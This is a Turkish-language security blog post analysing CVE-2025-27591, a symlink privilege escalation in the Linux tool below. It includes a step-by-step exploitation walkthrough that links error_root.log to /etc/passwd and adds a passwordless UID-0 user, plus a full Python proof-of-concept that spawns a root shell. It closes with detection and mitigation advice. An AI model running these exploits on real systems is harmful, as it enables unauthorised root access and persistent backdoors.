Post

CVE: Writable Symlink in Below CVE-2025-27591

CVE-2025-27591, Below aracında yerel kullanıcıların symlink ile root yetkisi kazanmasına neden olan bir yetki yükseltme açığıdır.

CVE: Writable Symlink in Below CVE-2025-27591

Bu yazımda, kısa bir süre önce yayınlanan below adlı araçta bulunan ve yerel kullanıcıların symlink ile root yetkisi kazanmasına neden olan CVE-2025-27591 zafiyetini inceleyeceğiz. İnternette bu zafiyet hakkında yazılmış detaylı bir makale bulamadığım için, bu yazıyı yazmaya karar verdim.

Below
Below aracından bir görsel


Nasıl Çalışıyor?

CVE-2025-27591, Linux sistemlerde sistem performans verilerini kaydetmek ve görüntülemek için kullanılan below adlı araçta tespit edilen bir yerel yetki yükseltme zafiyetidir. Zafiyetin temel sebebi, below tarafından oluşturulan /var/log/below dizininin herkes tarafından yazılabilir (777) olarak ayarlanmasıdır. Linux Dosya Yazma Hakları İçin

Bir saldırgan, bu dizine bir sembolik bağlantı yani symlink oluşturarak, below aracının hatalı log işlemleri sırasında /etc/passwd gibi sistem dosyalarını kendi içeriğiyle üzerine yazmasını sağlayabilir. Böylece, sisteme şifresiz root erişimi olan sahte bir kullanıcıyı ekleyebilir..

Bu dosya sayesinde, saldırgan sistemde root haklarıyla bir shell başlatılabilir.

Score
CNA Score


Etkilenen Versiyonlar

  • Tüm versiyonlar etkilenmektedir. < v0.9.0
  • v0.9.0 ve sonraki sürümler ise bu zafiyetten etkilenmemektedir.

Projenin orijinal reposu : https://github.com/facebookincubator/below


Zafiyetin Etkisi

  • Saldırgan sistemde sadece sınırlı kullanıcı haklarına sahip olsa bile, sudo yetkisiyle below çalıştırabiliyorsa root yetkisi elde edebilir.

  • /etc/passwd gibi kritik dosyalar değiştirilebilir. Saldırgan passwd dosyası üzerinde yüksek yetkili sahte kullanıcılar oluşturulabilir ayrı olarak mevcut kullanıcıların şifreleri değiştirilebilir yada şifre alanını silerek şifresiz kullanıcı geçişleri yapabilir.

  • Sistemin bütünlüğü bozulur, kalıcı backdoor bırakabilir.


Detaylı Teknik Açıklama

Zafiyetin kökenini below aracının log dosyasına verdiği izinlerden kaynaklanmaktadır.

  • below çalışırken /var/log/below dizinini otomatik olarak oluşturur ve bu dizine herkese yazma izni verir. ( chmod 777 )

  • Bu dizin altında error_root.log adlı bir log dosyası oluşturulur. Bu dosya da 666 yani herkese okuma ve yazma izinleriyle açılır.

  • Saldırgan, error_root.log yerine /etc/passwd dosyasına sembolik bağ oluşturur:
    1
    
    ln -s /etc/passwd /var/log/below/error_root.log
    
  • Ardından below komutu hata verdiğinde, bu hatayı error_root.log‘a (yani aslında /etc/passwd) yazar. Böylece, saldırgan önceden hazırladığı bir kullanıcı satırını /etc/passwd dosyasına eklemiş olur.

  • Yeni kullanıcı, UID ve GID olarak 0 ayarlanarak sistemde root yetkili bir kullanıcı olur.


Nasıl Sömürülür?

Zafiyetli bir makine üzerinde sömürü yöntemlerini aşağıdaki gibi gerçekleştireceğiz:

İlk olarak sistemde ne tür haklarımız olduğunu kontrol edeceğiz bunun için sudo -l komutunu alıştıracağız:

1
2
3
4
5
6
jacob@censored:~$ sudo -l
Matching Defaults entries for jacob on censored:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jacob may run the following commands on censored:
    (ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below --debug*, !/usr/bin/below -d*
1
2
jacob@censored:~$ ls -ld /var/log/below
drwxrwxrwx 3 root root 4096 Jul 18 16:35 /var/log/below

Sistem üzerinde below aracını çalıştırma yetkimiz olduğunu görüyoruz. Şimdi bu aracı kullanarak zafiyeti sömüreceğiz:

İlk olarak mevcut error_root.log dosyasını siliyoruz.

1
jacob@censored:~$ rm -f /var/log/below/error_root.log

Ardından /etc/passwd dosyasına sembolik link oluşturuyoruz:

1
jacob@censored:~$ ln -s /etc/passwd /var/log/below/error_root.log
1
2
jacob@censored:~$ ls -la /var/log/below/error_root.log
lrwxrwxrwx 1 jacob jacob 11 Jul 18 16:52 /var/log/below/error_root.log -> /etc/passwd

Geçici dosyamıza şifresiz bir root kullanıcısı ekliyoruz:

1
jacob@ce:~$ echo 'b1lal::0:0:b1lal:/root:/bin/bash' > /tmp/below

Bu satırın yapısı aşaığıdaki gibidir:

1
kullanıcı_adı:parola:UID:GID:açıklama:ana_dizin:shell
1
2
jacob@censored:~$ cat /tmp/below
b1lal::0:0:b1lal:/root:/bin/bash

Şimdi ise önemli bir nokta olan hata tetikleme adımını gerçekleştireceğiz. Bunun içinde aşağıdaki komutu çalıştırıyoruz:

1
jacob@censored:~$ sudo /usr/bin/below record

Şimdi oluşturduğumuz dosyayı below aracını kullanarak error_root.log dosyasına yazacağız:

1
jacob@censored:~$ cp /tmp/below /var/log/below/error_root.log

Son olarak ise oluşturduğumuz kullanıcıyla sisteme giriş yapabiliriz:

1
2
3
jacob@censored:~$ su - b1lal
b1lal@censored:~# id
uid=0(root) gid=0(root) groups=0(root)


Zafiyetin sömürü aşaması bu şekildedir ancak bu işlemleri de otomatikleştirmek için bazı PoC kodları mevcuttur. Bunlardan bir tanesi bu Github Reposudur : CVE-2025-27591-PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#!/usr/bin/env python3
import os
import subprocess
import sys
import pty

BINARY = "/usr/bin/below"
LOG_DIR = "/var/log/below"
TARGET_LOG = f"{LOG_DIR}/error_root.log"
TMP_PAYLOAD = "/tmp/attacker"

MALICIOUS_PASSWD_LINE = "attacker::0:0:attacker:/root:/bin/bash\n"

def check_world_writable(path):
    st = os.stat(path)
    return bool(st.st_mode & 0o002)

def is_symlink(path):
    return os.path.islink(path)

def run_cmd(cmd, show_output=True):
    if show_output:
        print(f"[+] Running: {cmd}")
    try:
        return subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, text=True)
    except subprocess.CalledProcessError as e:
        if show_output:
            print(f"[-] Command failed: {e.output}")
        return None

def check_vulnerability():
    print("[*] Checking for CVE-2025-27591 vulnerability...")

    if not os.path.exists(LOG_DIR):
        print(f"[-] Log directory {LOG_DIR} does not exist.")
        return False

    if not check_world_writable(LOG_DIR):
        print(f"[-] {LOG_DIR} is not world-writable.")
        return False
    print(f"[+] {LOG_DIR} is world-writable.")

    if os.path.exists(TARGET_LOG):
        if is_symlink(TARGET_LOG):
            print(f"[+] {TARGET_LOG} is already a symlink. Looks exploitable.")
            return True
        else:
            print(f"[!] {TARGET_LOG} is a regular file. Removing it...")
            os.remove(TARGET_LOG)

    try:
        os.symlink("/etc/passwd", TARGET_LOG)
        print(f"[+] Symlink created: {TARGET_LOG} -> /etc/passwd")
        os.remove(TARGET_LOG)  
        return True
    except Exception as e:
        print(f"[-] Failed to create symlink: {e}")
        return False

def exploit():
    print("[*] Starting exploitation...")

    with open(TMP_PAYLOAD, "w") as f:
        f.write(MALICIOUS_PASSWD_LINE)
    print(f"[+] Wrote malicious passwd line to {TMP_PAYLOAD}")

    if os.path.exists(TARGET_LOG):
        os.remove(TARGET_LOG)
    os.symlink("/etc/passwd", TARGET_LOG)
    print(f"[+] Symlink set: {TARGET_LOG} -> /etc/passwd")

    print("[*] Executing 'below record' as root to trigger logging...")
    try:
        subprocess.run(["sudo", BINARY, "record"], timeout=40)
        print("[+] 'below record' executed.")
    except subprocess.TimeoutExpired:
        print("[-] 'below record' timed out (may still have written to the file).")
    except Exception as e:
        print(f"[-] Failed to execute 'below': {e}")

    print("[*] Appending payload into /etc/passwd via symlink...")
    try:
        with open(TARGET_LOG, "a") as f:
            f.write(MALICIOUS_PASSWD_LINE)
        print("[+] Payload appended successfully.")
    except Exception as e:
        print(f"[-] Failed to append payload: {e}")

    print("[*] Attempting to switch to root shell via 'su attacker'...")
    try:
        pty.spawn(["su", "attacker"])
    except Exception as e:
        print(f"[-] Failed to spawn shell: {e}")
        return False

def main():
    if not check_vulnerability():
        print("[-] Target does not appear vulnerable.")
        sys.exit(1)
    print("[+] Target is vulnerable.")

    if not exploit():
        print("[-] Exploitation failed.")
        sys.exit(1)

if __name__ == "__main__":
    main()


Tespit

  • Sistemde /var/log/below dizini mevcutsa ve drwxrwxrwx (777) izinleriyle ayarlanmışsa potansiyel risk altındadır.
  • sudo /usr/bin/below komutuna parola gerekmeden izin verilmişse, saldırı ihtimali daha da artar.

Sembolik link olup olmadığını aşağıdaki iki yöntemden birini kullanarak kontrol edebiliriz:

1
2
3
4
jacob@censored:~$ file /var/log/below/error_root.log
/var/log/below/error_root.log: symbolic link to /etc/passwd
jacob@censored:~$ ls -ld /var/log/below/error_root.log
lrwxrwxrwx 1 jacob jacob 11 Jul 18 22:42 /var/log/below/error_root.log -> /etc/passwd

Bu tarz zafiyetlerin sömürüsünün tespit edilmesi oldukça zor olabilir. Ancak, sistemde beklenmeyen kullanıcıların varlığı veya /etc/passwd dosyasının beklenmedik şekilde değiştirilmesi gibi belirtiler, bu tür bir zafiyetin sömürülmüş olabileceğini gösterebilir.


Önlem ve Güncelleme

  • Kalıcı çözüm uygulamak için below aracını v0.9.0 veya daha yeni bir sürüme güncellemeniz gerekmektedir.
  • Geçici olarak bir çözüm olarak da aşağıdaki komutları kullanarak /var/log/below dizininin izinlerini kısıtlamamız gerekmetedir:
1
2
chmod 0755 /var/log/below
chown root:root /var/log/below

Ayrıca /etc/sudoers dosyasında below aracının parolasız çalıştırılmasına izin veren satır varsa kaldırın:

1
(ALL : ALL) NOPASSWD: /usr/bin/below *


Referanslar


Okuduğunuz için teşekkür ederim.

This post is licensed under CC BY 4.0 by the author.